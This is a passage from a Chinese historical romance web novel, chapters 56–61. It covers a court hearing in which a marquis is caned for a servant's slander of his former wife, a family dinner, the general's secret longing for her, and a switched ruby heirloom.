谢归舟手指轻弹,惊堂木正中沈卿知的脑门,落下来砸在林婉柔的头顶。
沈卿知捂着脑门怒视谢归舟,“将军这是何意?”
谢归舟摊手冷嘲,“手滑,打苍蝇。”
此时的沈卿知已做完自我心理建设,似肯定自己的想法,他放大了声音道:“婉柔说得没错,当时南枝直接带着麻子报官,本就是她自己得罪了麻子,是这麻子自己设计陷害于她,与我和婉柔没有丝毫关系。”
孟南枝气得笑了起来,“所以没人指使,没人设计,麻子他陷害完我,就被杀了?这说得通吗?”
她拿起闵大人身前的通关文碟扔在他脸上,“一个自称峭城人的岫城人,是怎么一城一城地走到京都的。”
沈卿知捡起落在地上的通关文碟,上面的人相与“铁柱”一模一样,却写着“杜成”的名字。
谢归舟已安排人核查,上面的信息全是假的。
这“铁柱”就像是凭空冒出来的人。
查不出根源。
而麻子经仵作核验是他杀,只是夜雨洗刷了痕迹,很难查。
沈卿知面色苍白,这慌圆不过去。
谢归舟对闵大人使了个眼色,闵大人轻拍惊堂木,“依大衍律例,麻子为镇北侯府奴仆,涉嫌陷害孟家女郎,污人清白,主家连坐,受杖刑八棍。”
“沈卿知,你可认罪?如若不服,也可诉至三司会审。”
三司会审是万万不能的,若经圣上之手,他这镇北侯的脸算是彻底没了。
就算真的没罪,也会变成有罪。
沈卿知抬头看了眼端坐高堂的萧临渊。
谢归舟见状,轻扣桌案,“临渊有何想法?”
萧临渊轻转左手板指,低声轻笑道:“按律查办便是。”
他自是知道沈卿知看他是想向他求助,可他为何要帮他呢。
八棍而已,还不值得他落下人情。
沈卿知见状,只得狠狠地看了眼孟南枝,咬牙道:“本侯认罪。”
谢归舟唇角轻勾,“既如此,侯爷便向孟家女郎告罪吧。”
沈卿知向孟南枝深辑一礼,丝毫不掩眸中怒意,“恶奴麻子,身为本侯奴仆,却犯诬陷之罪,污孟姑娘清白,本侯特此告罪,望求得孟姑娘原谅。”
孟南枝受他一礼,“我,并不原谅。”
谢归舟再对闵大人示意,闵大人对沈卿知施了一礼,“侯爷,请吧。”
青衣小吏搬来长条刑架,沈卿知自顾趴下,两名灰衣捕快拿着木棍走了上来。
正欲开打,林婉柔见状立马上前护在沈卿知的臀部,“南枝,你怎能如此狠心,让侯爷受这种苦?”
“自你嫁与侯爷,你冬日想吃冰,侯爷便为你取冰,你夏日想看梅花,侯爷便亲自为你剪了梅花。”
“为讨你欢心,侯爷处处心系于你,从不曾亏待与你,这明明不是侯爷的错。”
“你为何一定要逼侯爷到这种地步?”
“侯爷不就是在你溺水后娶了我吗?难道你还要侯爷为你守一辈子活寡?”
“你孟南枝到底讲不讲道理?”
孟南枝轻笑出声,“和你,还用讲道理?”
说罢,她正对着沈卿知坐下来,等着刑罚。
闵大人重击惊堂木,“施刑。”
粗重的木棍带着风声落下,沈卿知喉间溢出压抑的痛哼。
“别打了,求求将军,别打了。”
被侍卫拦住的林婉柔哭得撕心裂肺,“南枝,求你,饶了侯爷,你就当这事是我做的,是我雇人污了你的清白。”
孟南枝看着她嗤笑,“这事难道不是你做的?”
第57章 没能把侯爷打死
林婉柔被她呛得一怔,又立马哭诉道:“你说是我做的那便是我做的,只要你愿意原谅了侯爷,我什么都愿认。”
孟南枝不置可否。
都这个时候了,还在变着法地维持她软弱可欺白莲花形象呢。
八棍落下,沈卿知的脊背被打得血肉模糊。
林婉柔与陆筝筝一左一右搀扶着他下了刑架,他双目血红,死死盯着孟南枝,“孟南枝,你可满意了?”
孟南枝笑着点头,“是满意,但也不算太满意,毕竟八棍还是太少了,没能把侯爷打死。”
“你……”
沈卿知痛得直不起身子,半个身子压在林婉柔身上,指着孟南枝气得说不出话来。
孟南枝却是笑盈盈地直盯着他,“侯爷想说什么?是太疼了吗?”
沈卿知盯着她隐隐带着疯狂的笑,满目怒火,“疯子,孟南枝,你疯了。”
“我疯了?”孟南枝继续笑盈盈地看着他,“那你想不想知道我为什么会疯?”
因为他,她错过了子女整整十年的成长,让他们受了那么多委屈。
回来这几日,与长子沈砚修和次子沈砚珩的相处,他们的顾虑和想法,她都看在眼里。
长子性软,左右顾忌,既不想让她和离,又不想让她受委屈。
次子敏感,百般测试,才信了她是母亲。
甚至到现在,孟南枝都不是很确定,次子到底信没信她。
两个好好的孩子,被他们养歪成这个样子。
女儿呢,她还没见到,不知道又会是怎么一个样子。
沈卿知盯着她的眼睛,有些心悸,“你想要和离,本侯都已经和离了,你还想要怎样?”
他不懂她的眼中哪来那么大的恨意。
他不过是娶了一个平妻而已。
孟南枝轻声道:“欺我的,自然是要还回来。”
谢归舟眸中含笑,对闵大人轻轻示意。
闵大人见状只得再次轻拍惊堂木,“凡昨日污言惠及孟南枝之人,今日皆需告罪。”
围观半天的侯门世家夫人,此次都警了醒。
怪不得今日把她们都请来,原来是在这等着呢。
曹清宛率先走到孟南枝身前,轻轻拉起她的手,面上带着谦意,“南枝,都怪我,若不是我邀你赴宴,也不会遭遇如此祸事。”
她昨日回去,仔细思量,怎么都觉得这事她若不邀南枝来,便不会发生,便是带了几分懊恼道:“你若心里有气,便骂我两句吧。”
孟南枝轻笑着摇头,“宛清姐莫要自责,此事跟你没关系。”
此事即是预谋,不在昨日,也会在其他日。
明程氏起身走到她面前,轻轻福了一礼,“恭喜。”
恭喜洗清污名。
孟南枝知她心意,微微点头,“谢谢。”
昨日若非明程氏出脚跘住了那贼人,她可能真就被挟持出去了。
平阳公府陈夫人自持身份,并未起身,只是面上带了几分歉意道:“昨日之事,我已仔细查问过了。原是府里那几个奴才瞧着那人是戏班子来的,想着不过是串场的伶人,便没细加盘查,轻易放进了府中。”
“不知陈夫人打算如何处置?”
孟南枝不虞,抬眉目光落在她脸上,虽并未查明这事跟平阳公夫人有直接关系,但人却那么轻易地进了平阳公府,自是没那么简单。
见她真是追究责任,平阳公府陈夫人抬手理了理袖口的素色乡纹,掩了几分情绪,道:“这事说到底,还是平阳公府管家不严,让底下没了规矩,才出了这等纰漏。眼下我已按家法重罚了那几个失职的奴仆,该杖责的杖责,该发落的也已打发去了庄子。不知如此,可否消了南枝的气?”
谢归舟突然开口,带了几分寒意道:“当成戏伶随意入府,还偏生是在那样的当口,如今罚了奴仆便想揭过,未免把事情看得太轻易了些。”
他要在场欺辱孟南枝的每一个人都要告罪。
萧临渊转动板指,也跟着开口道:“陈夫人说这污蔑枝枝姐的恶贼是跟着戏班子进的府,可本王却听说这戏班子是平阳公府的三公子亲自安排的。”
“前日里沈世子刚好告了三公子,您说,这贼人会不会是三公子故意放进去的?”
还在疼痛的沈卿知瞬间惊醒,他认罪认早了。
但平阳公府,他更不能得罪啊。
孟南枝并不觉得萧临渊是在帮她,他是皇子,所行所言皆有目的。
平阳公府支持的是二皇子,太子故后,他与二皇子是最大竞争对手,所以但凡涉及可以打压对方的机会,他都不可能放过。
陈夫人眸色微变,却仍是淡然笑道:“奕王说笑了,少兴他再不济事,也不会干出此如污人清白之事。而且此事我已询问过他,戏班子早早便进了府内,那贼人是后来才入府上的。”
萧临渊笑道:“此事岂可只凭陈夫人一面之词,也该把府上的三公子叫来询问一二才是。”
要说这平阳公府也算有件奇事,他们家的三公子甄少兴是名妾室生的庶子,按理说不该被陈夫人护着,偏生每次他犯了错,第一时间都会寻陈夫人护着,陈夫人偏偏还就是会护着他。
说什么寻甄三公子来,无非是逼她告罪而已。
陈夫人眸色转换,捏了捏手中袖帕,站起身走到孟南枝面前,福了一礼,“此事确是平阳公府管家不严,望得孟姑娘原谅。”
这面子十成十是给足了。
孟南枝轻轻点头,并未言原谅还是不原谅。
公堂一时寂静,谢归舟冷冽的视线扫向吏部尚书马夫人。
他已知晓此人昨日叫得最欢。
马夫人被谢归舟盯得毛骨悚然,见平阳公府陈夫人都被拂了脸面,自知没她有脸,掩着恨意走到孟南枝面前,指了指自己被包着的额头。
“孟姑娘,我已挨了你的打,算是赔罪了吧。”
她与儿子皆挨了孟南枝的打,这笔账她早晚会算。
只可惜昨晚那人竟然如此不中用。
孟南枝脸上虽然挂着笑,眼尾却无半分暖意,“马夫人挨这打是为何,莫非已经是忘了?需不需要我把你在人前嚼的那些舌根,一字一句再给你复述一遍,帮你好好回想回想?”
这话像是淬了冰,马夫人的面色立马涨得发黑,只得深施一礼,满不情愿地说道:“是我糊涂,被那人故意引导轻信了他的污蔑之词,冲撞了孟姑娘,望孟姑娘原谅莫要同我计较。”
孟南枝连眼皮都未抬一下,冷声吐出三个字,没有半分转圜余地。
“不原谅。”
第58章 沈世子倒是好福气
马夫人闻言眸中不忿之色更甚,余光瞥向坐上高堂之上的谢归舟,知道今日这委屈只能咽下。
她喉头滚了滚,终究是不敢再口吐狂言,只得讪讪地退到了一旁。
紧接着,昨日那些跟着起哄、搬弄是非的夫人们,也只得硬着头皮一一上前。
她们垂着眼帘,言语间满是歉意,可翻来覆去,无非是“一时糊涂”“被人蒙骗”那几句说辞,哪有几分真心悔过。
孟南枝目光落在府衙地板上,自始至终没再搭过一句话。
这些人,她一个都不原谅。
堂审结束,众夫人一一退下,走之前都面色怪异地瞧了林婉柔一眼。
别看这罪是沈卿知认的,但她们可知这罪定是林婉柔犯的。
毕竟没有哪个男人会自己污蔑自己妻子,给自己戴绿帽子。
所以呀,她们知道,林婉柔这样的人,不可深交。
也只有男人,才会陷入这种浮于表面的温柔。
而她们竟然都受她的牵连,被逼着告了罪。
这要传出去,她们在子女面前还有何脸面。
看完整个堂审的萧临渊低头轻笑,下了高堂走到孟南枝面前,“枝枝姐,恭喜。”
孟南枝点头浅笑,“多谢奕王相助。”
虽然并不明白他恭喜的是什么,但该有的礼节不能少。
待人员散去,孟南枝看着地上的两具尸体,说不清内心涌着的是什么情绪。
谢归舟走下高堂,轻轻站在她的身后,温声道:“心情好点了吗?”
孟南枝抬头:?
能看出来她心情不好?
仔细想想,谢归舟今日所作所为好似只为了让他们给她告罪。
思至此,孟南枝内心微动,同他深深福了一礼,“今日多谢将军相助。”
两人离得很近,可以闻到她身上淡淡的蔷薇香,谢归舟不自在地瞥开视线,“杜成的身份我会继续核查,有信息总归是能查到的。”
“先回府吧。”
孟南枝点头,谢归舟能坐到将军之位,能力有目共睹,她自是相信他的。
想到他这般助他,总是要以表谢意,只是她今日出来的急,现在天色将暮,长子他们估计已经散学,父亲也应该等得着急了。
谢归舟跟在她后面,看她干脆利落地翻身上马,素色裙裾被风扫过,带起一片细碎的流光。
眸光闪过笑意,他长腿一跨,也跟着上了马,动作舒展流畅,月白色锦袍扫过马腹,带着一阵清洌的松脂香。
回到府中,次子沈砚珩果真已经等得着急,眼巴巴地看她下了马,“母亲您终于回来了,我都等你多时了。”
“今日散学挺早。”
孟南枝点头,看了眼他身后并没有长子的身影,笑问道:“你哥呢?”
谢归舟自然地接过她手中的缰绳,递给跑过来的百万。
百万牵着缰绳,怎么看都觉得将军刚才的动作,有点多此一举。
他都过去了,可以直接从孟姑娘手里接过来的啊。
沈砚珩似这才注意到谢归舟,连忙同他见了礼,“将军。”
又转身同母亲道:“哥哥听说将军搬到了隔壁,在帮忙修房子呢。”
孟南枝抬头,果真看向沈砚修正坐在房檐在冲她打招呼,“母亲。”
“怎么样了?快下来吧?”
长子有礼,这是好事,但她还是有点担心他会摔倒。
沈砚修扶着梯子轻快地下来,“马上就要修好了。”
“瞧你这弄得满脸灰。”
孟南枝拿着袖帕擦拭他脸颊灰尘,动作轻柔,声音温软,“什么时候学会修屋顶了?”
沈砚修笑得有些傲娇,“我就是搭把手。”
谢归舟看着孟南枝那般小心翼翼,专注而温软的模样,眼睛里好像进了刺,有些酸疼。
长子沈砚修长得高出她半头,待她踮着脚准备擦拭他的额头时,手里袖帕忽地被夺了去。
“我来吧,你够不到。”
谢归舟轻柔地从她手里拿过那方袖帕,却用力地向沈砚修的额头擦去。
“唔!”
沈砚修猝不及防,感觉被他擦过的额头有点疼。
袖帕被揉得有些皱巴,谢归舟瞥了眼沈砚修的脸,笑得温和,“干净了。”
“还不快谢谢将军。”
孟南枝接过袖帕,只觉他一个大将军干不来伺候人的活计,瞧着长子的额头都搓红了。
“多谢将军。”
沈砚修揉了下额头,他因着母亲不在这些年,没少被谢归舟拉去历练,所以这点小疼在他看来还不算什么。
只是见到他,仍是想下意识地躲一躲。
他微微昂头,手指轻轻拽住孟南枝的衣袖,带着满是少年的孺慕,“母亲,回家吧,我饿了。”
“好。”
孟南枝笑看着他和,眸中全是暖意,回头温声邀请谢归舟,“多谢将军今日再次相助,不若一起到府中用些便饭。”
谢归舟目光落在那只拽着她衣袖的手上,指尖微微蜷缩了下,眸子里像是突然落了细碎的光,又瞬间暗了下去。
他缓过神,声音轻如流水,“那便叨扰了。”
八方桌,六人座。
父亲孟正德坐主位,谢归舟与胡姨娘依照规矩坐在他的两侧。
因为谢归舟是客,所以孟南枝便挨他坐着。
曾经的少年,如今坐着都要比她高出整整一个头,满满的成熟气息。
印象中总喜欢穿暗系着装的少年,现在穿了一身月白色常服,眉目如画,面色冷清,眉峰如刀。
若不是那几分自带的寒意,倒让人觉得他不像是个驰骋沙场的将军,而是个满腹才华的文人墨客。
“荷风宴一事,还要多谢归舟解围。”
孟正德亲自执壶给谢归舟斟了酒。
“太傅严重了,归舟也是受您所托,自当尽心。”
谢归舟脸上挂着温和的笑,双手温温接过酒盏,与他碰了杯。
孟正德吃了酒,有些感慨。
女儿溺水后,他不便外出,便委托谢归舟每到一处就帮他看看。
这个学生虽然缄默,却真是待他用了心的。
思到这里,孟正德对谢归舟抬手示意,“请。”
孟家没有让丫鬟布菜的习惯,所以吃饭期间,孟南枝便一直给两个儿子布菜。
“修儿,你最爱的樱桃肉。”
“你最喜欢的水晶虾。”
“你最……”
想着明日若是山城真的传来消息,便会与长子分离,免不了就又多为他布了几道。
沈砚修喜滋滋地享受着母爱,一口接一口,“谢母亲。”
谢归舟看着他与孟南枝如此亲昵的模样,捏着酒盏的手指微微收紧,酒液晃出细碎的涟漪。
他目光扫过沈砚修碗里一个接一个的菜肴,听不出喜怒地轻声道:“沈世子倒是好福气,这般大了,还要劳烦母亲为你亲自布菜。”
第59章 不是每个人都需要你救
脖子有点凉丝丝的。
沈砚修端着碗的动作僵在原地,下意识隔着母亲把菜夹到了谢归舟碗里,“要不,将军,你吃?”
只是刚放进去就发觉不对,那是母亲给他的,他好不容易才吃到母亲给他布的菜,为什么要让出去?
又给生生夹了出来,“我给将军换道菜。”
孟南枝:?
长子你是不是有什么大病?
谢归舟盯着碗里夹来夹去的菜,酒盏放在桌子上,发出一声闷响,旁人看不到的眼眸里却满是包容。
场面一时有些尴尬。
孟正德轻咳一声圆场道:“枝枝,还不为将军布菜。”
并对女儿眼神示意:长辈坐在你身边,你怎么能不顾忌长辈,只给晚辈布菜呢。
孟南枝反应过来,忙不迭换了双新箸,为谢归舟布了几道菜,客客气气地笑道:“将军请用。”
谢归舟目光落在碗里的菜上,唇角微勾,低垂着的眼中眸色亮了几分。
刚准备拿起银箸,却听孟正德又道:“枝枝,称呼不对,是叔父。”
今日既然是私宴,便不该那么正式。
经父亲这么一提醒,孟南枝又布了两道菜,语气中添几分恭敬,笑眯眯道:“谢小叔,请用菜。”
她都快忘了,谢归舟与父亲同辈,比她整整长了一辈。
从前她习惯了谢归舟年龄比她小,所以即便知道他是长辈,也只在人前才会笑称他一声“小叔”。
如今溺水穿到十年后,再看他的模样,竟然颠倒过来,不仅年纪瞧着比她大了,连那眉宇间不经意透出的沉稳气势,也比她足了。
倒还真像半个长辈了,所以她喊起“小叔”来也没什么心理负担。
谢归舟听到这话,刚带上几分暖意的眸色瞬间沉了沉,像是被乌云遮住了光。
他没作声,只是微微垂着眼,目光落在面前玉碟中的那团菜上。
樱桃肉被她亲手布入碟中,油光锃亮,还冒着热气。
谢归舟盯着看了几息,才缓缓执起银箸,夹了一小口送进嘴里。
明明是他期待许久她亲手为他布的菜,但一想到那句“小叔”,舌尖便只尝到一片寡淡,像是含着块没滋没味的蜡,咽下去时满是涩意。
他面色依旧清冷,长睫微垂,遮住了眼底翻滚的情绪。
片刻后,他将银箸轻轻放置在玉蝶边缘,淡淡道:“吃好了。”
这就好了?
孟南枝手里拿着银箸还在布着菜,垂眉看了眼他几乎还没怎么动的饭碗,白瓷碗里的米饭堆得整整齐齐,只是碟中的樱桃肉少了那么一块。
她放下银箸,跟着他站了起来,“谢小叔,我送您。”
谢归舟没应声,只是听到那句“小叔”喉间又紧了一紧。
沈砚珩碰了碰兄长:哥,什么情况?
沈砚修摇头:吃饭,大人的事小孩子少打听。
合着跟他看得明白似的。
沈砚珩:那我再见到将军是不是要叫爷爷?
沈砚修想到珩弟抱着将军叫爷爷爷爷的画面,一口汤差点喷出来。
也不是不行。
胡姨娘碰了碰老爷:将军是什么情况?
孟正德暗自摇头:吃饭,年轻人的事老年人少打听。
他老了,看不明白。
东邻隔院,围墙下。
粗壮的百万四肢死死贴在斑驳的墙面上,耳朵几乎要陷进墙面里去。
“钱飞,你说将军在孟府干嘛呢,怎么还不回来?”
钱飞紧挨着他斜倚着墙边,半抬眼皮看了眼隔壁的孟府,依旧寡言,“挖。”
“挖?”
单蠢的百万没听懂,“挖什么?”
钱飞憋了半晌,吐出两个字,“墙角。”
“墙角?”
百万看了看脚下的淤泥,还有些枯萎的野草,“墙角有什么好挖的?难不成孟太傅贪腐,在家里墙角下埋了金子?”
钱飞看了眼百万,一言难尽,“蠢。”
和贾掌柜一模一样的蠢。
他怎么会和脑子这么愚笨的人做同僚。
“蠢?”
百万听懂了,他怒了,“说谁蠢呢?谁不知道我是将军都夸的聪明人,顶了半个军师。”
越怒越气,他依照往常的惯例,随手拿着墙角的旧扫把,就往钱飞身上砸。
这种事情,他们在将军府三天两头打闹。
所以钱飞早就有所防备,如猫一样轻轻一跃,便上了围墙。
怒了又怒的百万,用力过度,扫把直接越过了围墙,砸在刚送谢归舟出府的孟南枝身上。
夜色很静,连续下了几天的雨,导致空气中还带着团湿气。
孟南枝与谢归舟并肩走到庭院,庭院的烛灯把他们的影子拉得老长。
孟南枝看着地上比自己长了很多的影子,“谢小叔你是不是又长高了?”
谢归舟低头看她眉眼弯弯的样子,眸中情绪翻滚,从喉间轻轻溢出一个“嗯”字,“你还是和以前一样。”
和以前一样,眼里没他。
孟南枝以为他说的是自己长相没有变化,笑着解释道:“我溺水之后生了病。”
“我知道,水邪闭窍之症。”
谢归舟笑得温和,但能听出轻快之意,声音比他少年时要沉稳了许多。
孟南枝抬头看了眼他眉目之间的英气,才由衷地发觉对方是真的比她还要成熟了。
不免有些尴尬,谢归舟肯定知道这病是假的。
毕竟普寿寺的借口还是他找的。
但她和他的关系,还没熟到能说真相的地步。
“你的伤怎么样?”
谢归舟转移话题,深邃的目光落在她身上,因是夏季,她穿的衣服领口略低,露出一截白皙的脖颈,左侧还有一道结疤的伤痕。
她很要强,只是简单涂了药,并未包扎。
“没事了,小伤而已。”孟南枝摸了下脖子,突然想起他还有伤,“你呢?手怎么样了?”
谢归舟笑着重复她的说辞,“没事了,小伤而已。”
孟南枝浅笑,刚要再次开口,一个逆天重物就从空中狠狠地朝他们砸来。
“小心。”
孟南枝下意识地去推开谢归舟,却被他拽住手腕,整个人跟着往后一拉,后背稳稳贴上一道结实有力的臂膀。
直到她脚下站稳,谢归舟那只原本虚扶在她臂弯的手才猛地收了回来。
方才压在心底的悸动还未散去,喉间浸满了发紧的涩意。
他看得分明,重物击来时,她的第一反应却是救他。
他几乎用尽了全身力气,才强忍着将那股想把她拥入怀中的冲动给压下去。
他很清楚,这是她的本性。
路见不平,拔刀相助。
她明明那般弱小,心里却住着一颗狭义之心。
但他不希望她这样,每次都想着先救别人。
低下头,他丝毫不再掩饰眸中全是后怕的惊惶,语气郑重道:“孟南枝,不是每个人都需要你救。”
第60章 谢归舟嘴角含着的袖帕是她的
不是每个人都需要她去救吗?
孟南枝想起从小到大,身边人只有要危险,自己总会第一时间冲出去。
受伤的动物。
弱小的朋友。
陷入困局的庶子沈卿知,和她一同落水的林婉柔。
还有眼前,曾经不知因何落水的少年谢归舟。
救人,并不算冲动,而是生理性反应。
她所救的每个人都是她在当时觉得该救、应救的。
只是有些结果,不算不太好。
思至此,她抬头看向谢归舟,真诚地道谢,“多谢小叔提点。”
自己确实该反思一下,她有子女,以后在外遇到危险,应该先保护自己。
“将……将军。”
眼见闯了祸的钱飞,慌里慌张地从半人高的围墙上翻下来,三两步跃到谢归舟面前,“噗通”一声半膝跪地,声音带着颤意,“属下有错,请将军隆罪。”
若只是伤到了将军,其实还好。
但,差点就伤到了孟姑娘。
这在将军心里,比伤了他自己都严重。
百万气喘吁吁地从东院跑过来,红着眼眶哭天喊地,“将军,您没伤着吧?都怨钱飞,他竟然骂我蠢,我气不过才砸他,没想到竟然砸到了将军。”
谢归舟垂眸看了眼他俩,沉沉的声音中听不出情绪,“今日的晚宴,你们俩都免了。”
“是,将军。”
钱飞诚恳认罚。
将军不仅罚得不重,还罚轻了。
“将军,这真不怨我,是钱飞,他先说你在孟府挖墙……”
挖墙角。
不情愿的百万话还说完,就被钱飞一把堵了嘴。
“将军,他认罚,我们先回去了。”
钱飞捂着百万的嘴巴往孟府外面拖。
蠢,跟贾乙一样蠢,这话是能在将军和孟姑娘面前说的?
谢归舟下意识地看了眼孟南枝,眸光中的寒意只想把他的舌头给割了。
没注意他们说话的孟南枝,目光略过被谢归舟扔在地上的“元凶”——扫把,手柄处竟然有血迹。
再低头扫向他的左手,应是刚才用力过猛,他昨日被伤的左手竟然再次渗出血,顺着手掌往下滴。
孟南枝眉头直跳,她从回来之后,这都欠他多少人情没还,这还没出孟府呢,竟又让他伤了手。
再开口,完全把他当长辈似的歉意满满,“谢小叔,我一定谨记您的教诲,不会乱救人,给您添乱,我先给您看下伤吧。”
“无碍,我自己来。”
谢归舟听见她提那两个字,心里就堵得慌,自顾从怀中掏出一方袖帕,用唇咬着一角,右手开始缠包左掌。
孟南枝心口猛得一跳,她看得分明,谢归舟嘴角含着袖帕上的那株木芙蓉,一片花瓣是蓝色的。
是她绣的,那袖帕是她的。
十二岁那年,她第一次学会绣芙蓉,便故意绣了一朵蓝色花瓣,本想送给父亲,却因途中碰见一只崴脚兔子,便绑在兔子腿上,还给兔子在后院做了窝。
等第二天再去看兔子时,兔子的腿是好了,但袖帕却不见了。她为此还难过了好几天,毕竟她绣功不好,费了好大的心血才能绣成。
似乎是她的视线太过灼烈,谢归舟抬眸看向她,目光沉沉,像是积了云的夜空,又像是裹了蜜的深潭。
但见她盯的是自己手上的袖帕,似忽然想起什么,耳根泛红,迅速将那帕子收起来放回怀中。
再张口,那一向清冷的声音便瞬间失了真,“我回去再包扎。”
孟南枝看他将帕子收起来,眼帘微阖。
说到底他这伤终归是因为她,于情于理,她都不能不管,得担起责任。
再睁眼,孟南枝眸中全是对待长辈客而不疏的笑意,“回去包扎干什么?谢小叔是担心孟府缺了药?”
谢归舟微怔,目光落在她精致的脸上,眸中情绪正常。
没有嫌弃和排斥。
她应是没有发现。
静默了几息,他终是控制不住内心想要靠近她的奢望,跟着她进了孟府厅堂。
嘱咐丫鬟月芹拿来药箱,孟南枝执起他的手为他上药。
因是武将,他的手指节分明,透着常年用枪的结实。
掌心那道新裂的刀伤格外刺目,尚未完全愈合的伤口又被扫帚磨得红肿,皮肉外翻,边缘还凝着暗红的血痂。
比她想象的要严重得多。
他竟然还能忍着一声不吭。
“昨日洪太医没有给你看伤吗?”
孟南枝记得有交代洪太医给他看的。
看到她眼里的关切,谢归舟想起半路被扯下的绷带,嘴角弯了弯,轻声应道:“看了,淋了雨,才才取下的。”
她与他离得很近,近到可以闻到她身上的蔷薇香,被刀刺破掌心都未皱一下眉头的谢归舟,却在此刻,指尖忍不住地蜷了蜷。
“是疼吗?”
察觉到他的动作,孟南枝放缓了手上的力道。
“不疼。”
谢归舟的声音有些低哑,目光落中她认真的小脸上,眸中情绪丝毫不加掩饰地翻涌。
微风吹过,她的发丝飘起来缠在他的脖间,心口的那份痒,密密麻麻,让他喘不过来气。
孟南枝将布条一圈圈缠好,打上活结,“好了。”
谢归舟连忙撇开视线,落在被她包扎好的左手上,喉结滚动,带了点道不明的沙哑道:“多谢。”
孟南枝送他出府,将伤药塞给他,客气的叮嘱,“谢小叔记得按时换药。”
谢归舟握紧了手心里的药瓶,没有应答。
送完谢归舟,孟南枝便回到自己的院子。
忙了一天,她都没时间整理嫁妆。
父亲就她这一个独女,所以她的嫁妆很丰厚,翻到那个被沈卿知摘下来送给陆筝筝做及笄礼的鸽血红宝石时。
孟南枝突然将那它捏在手心,看着倒也剔透,流转着血红的光泽,可她总觉得有些不对。
犹豫片刻,她抬手将宝石举到烛火边,让跳动的橘红色光焰从石身穿过。
光晕里,鸽血石依旧湿润通透,火光越亮,也越通透。
是真的鸽血石。
但却不是她孟南枝的鸽血石。
母亲曾亲自和她演示过,她的那枚鸽血石若被火烧,中间会出现水流似的“江”字。
那是母亲的姓氏。
但眼下却空空如也,中间什么也没有了。
孟南枝眉间微蹙,分外不解。
难道是被沈卿知调包了?
但依他对陆筝筝这个继女的看重程度,不应该啊。
第61章 辈份不对,伤心劳肺
沈砚修两兄弟用完晚宴上来寻母亲时,看到的便是她拿着鸽血石对光详看的样子。
“母亲,我听观棋说你把父亲送给陆筝筝的及笄礼都给拿回来了?”
沈砚珩从孟南枝手里接过宝石,好奇地把玩,“就是这个吗?”
他对光照了下,没发觉有什么奇特之处,就是一个普通的鸽血石。
孟南枝点头:“这是你外祖母留给我的遗物,肯定是要拿回来的。”
本来还担心陆筝筝失了这宝石会不高兴的沈砚修,一听母亲说这是外祖母的遗物。
也不再纠结了。
对比来说,显然是母亲更重要。
虽然他现在知道筝妹与他以前的想象有些区别,但大道理总归是懂的,定是不会同母亲争夺遗物。
“那是该好好地存起来,可别丢了。”
本来还不在意的沈砚珩,立马可谨慎起来,小心翼翼地把宝石递还给母亲。
外祖母他是没见过,但依母亲和外祖父的重视程度,怎么都得当贡品一样好好地存起来。
真假宝石一事没必要要孩子跟着生气,所以孟南枝接过宝石便随手放进盒子里,看着次子笑问道:“珩儿,你的书童呢?”
从她回来见到次子到现在,一次都没听他提及书童一次,更别提见过了。
沈砚珩放在盒子上的手微顿,低垂的眼眸里掠过一丝慌乱,喉头动了动,带着几分不自然的涩然道:“母亲,我……我那书童他外出办事,眼下还没回来呢。”
有些事,母亲还是不用知道的好。
“身为一个书童不好好待在你身边或府上,外出不归是要办什么事?”
孟南枝眉峰微挑,这小子怕不是又对她说谎了吧。
母亲大人气场太大,他不敢说话。
沈砚珩拉了拉兄长的衣袖求助。
知道珩弟的顾虑,沈砚修默叹口气,上前一步,主动把事情揽了过来,“母亲,是我让珩弟的书童去寻几样东西,原想着很快就能回来,结果拖了这么久。”
孟南枝在一旁看得明白,长子这是在替次子打掩护。
既然他们不愿意说,她若再问下去反倒让两人失了面子。
跟半大少年的沟通,总归是要注意一下方式。
若真想知道次子的书童到底是个什么情况,明日问问刘嬷嬷便是。
又与他们说了会儿话,孟南枝便催着他们快去歇息,自己坐在案前回顾巨幕中的细节,开始写写画画。
既然已经和离,她总归是要布局让家人好好地活下去。
东邻府院,同样的阁楼之上。
谢归舟独自坐在窗台边,手里那团来得并不光彩的袖帕被他攥得发了潮,桌角的酒瓶倒了两个,剩下的那瓶被他拎起来,时不时地往嘴里送着。
窗外的夜色漫进来,勾勒出他侧脸的轮廓,酒液顺着他的脖颈往下淌,在衣领处洇出深色的痕迹。
他目光一瞬不瞬地落在对面那扇亮着灯的窗户上,透过纸糊的窗纸可以看到那道纤瘦的影子正伏在桌案,似乎在为什么谋划着,握着的笔不时起落。
影子笔停的瞬间,他整个心也跟着纠了起来。
他身为谢家子嗣,自幼被帝后养入宫中。
外人都道他是好命,有谁知道他是如何挣扎着活过来的。
在那深宫之中,除了姐姐和太子,谁又会真心待他。
十九年前,他被人哄骗出城,落入水中。
他那时还小,瘦弱的身子在绿得发暗的水波里浮浮沉沉,口鼻被灌满腥臭的污水。
他拼命地想要往岸上去,可他却并不会水,只能却陷越深。
想呼救,喉咙里却只能发出嗬嗬的气泡声,而且每一张口,反而会灌入更多的水。
他知道,推他的人就躲在暗处看着他。
看着他一点一点地沉入水中,直到不再挣扎。
身体不受控制地一直往黑暗里坠,他以为自己就要死了。
可一只手却突然穿过冰凉的水,拽住了他的手腕,半拥着他往岸上游。
是她。
那个永远全身闪发着光芒的少女。
那个永远都会别人打抱不平的少女。
那个他第一次见,就觉得她是光的少女。
孟南枝。
南枝。
枝枝。
他只有躲在阴暗里才敢叫出声的名字。
他还记得半躺在她怀里时所碰触到的那份柔软,那是他这辈子与她离得最近的一次。
阁楼下的庭院内。
粗壮的百万蹲在墙角,嘴里叼了根青草,看着独着喝酒的谢归舟百思不得其解,“将军这是受什么刺激了?怎么能一个人喝闷酒呢?”
“他可以喊我一起喝的啊。”
“我人称百万解酒大师,陪着将军保管他喝得舒心、喝得开心,喝得放心。”
半躺在树枝上的钱飞懒得理他。
多么明显,自己心心念念的姑娘叫自己小叔。
这还能上手吗?
就跟自己看上了自己的嫂子,连家都不敢回一样。
辈分不对,伤心劳肺。
……
镇北侯府,烛火摇曳,映得室内一片昏黄。
沈卿知伏在床榻上,中衣褪去,背上纵横交错的棍痕肿得老高。
他咬牙牙关,额间的冷汗顺着脸颊滴在手背上,每动一下,后背都是钻心的疼。
林婉柔坐在床榻边缘,眼里噙着泪花,手里拿了药给他擦伤,“侯爷,您忍着点。”
药膏刚沾上伤口,沈卿知便猛地一颤,喉间发出压抑的闷哼,痛得直打哆嗦。
“侯爷,您受苦了。”
林婉柔心疼得直掉眼泪,手上的动作很是轻柔。
可沈卿知听到她的哽咽之声,却是突然生了脾气。
南枝从来不在他面前哭。
哪怕得知他娶了平妻。
哪怕是他前日里写下那份降妾书。
哪怕是最后两人和离。
沈卿知从未在他面前哭过一次。
